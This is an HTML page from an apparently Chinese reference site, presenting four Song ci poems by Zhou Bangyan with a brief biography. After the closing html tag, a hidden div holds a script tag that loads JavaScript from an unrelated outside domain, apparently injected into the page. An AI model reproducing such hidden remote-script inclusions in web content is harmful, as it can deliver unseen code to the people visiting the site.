<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-周邦彦</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>周邦彦</strong></span></div>

	<div class="Cont_tit sc">
		<h1>周邦彦</h1>
		<span>(1056～1121)年，北宋词人。字美成，号清真居士，钱塘(今浙江杭州)人。有《清真居士集》，后人改名为《片玉集》。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>关河令</strong></div><div class="sc_det_cont">秋阴里，睛渐向暝，变一庭凄冷。伫听寒声，云深无雁影。<br/>更深人去寂静，但照壁孤灯相映。酒已都醒，如何清夜永？</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>蝶恋花</strong></div><div class="sc_det_cont">月皎惊乌栖不定,更漏将阑,轳辘牵金井。唤起两眸清炯炯，泪花落枕红绵冷。<br/>执手霜风吹鬓影。去意徊徨,别语愁难听。楼上阑干横斗柄,露寒人远鸡相应。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>夜游宫</strong></div><div class="sc_det_cont">叶下斜阳照水，卷轻浪、沉沉千里。桥上酸风射眸子。立多时，看黄昏灯火市。<br/>古屋寒窗底，听几片、井桐飞坠。不恋单衾再三起。有谁知，为萧娘书一纸？</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>琐窗寒</strong></div><div class="sc_det_cont">暗柳啼鸦，单衣伫立，小帘朱户。桐花半亩，静锁一庭愁雨。洒空阶、夜阑未休，故人剪烛西窗语。似楚江暝宿，风灯零乱，少年羁旅。<br/>迟暮，嬉游处。正店舍无烟，禁城百五。旗亭唤酒，付与高阳俦侣。想东园桃李自春，小唇秀靥今在否？到归时、定有残英，待客携尊俎。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>周邦彦</span>&nbsp; &nbsp; 宋词翻页： [<a href="16_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/6</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>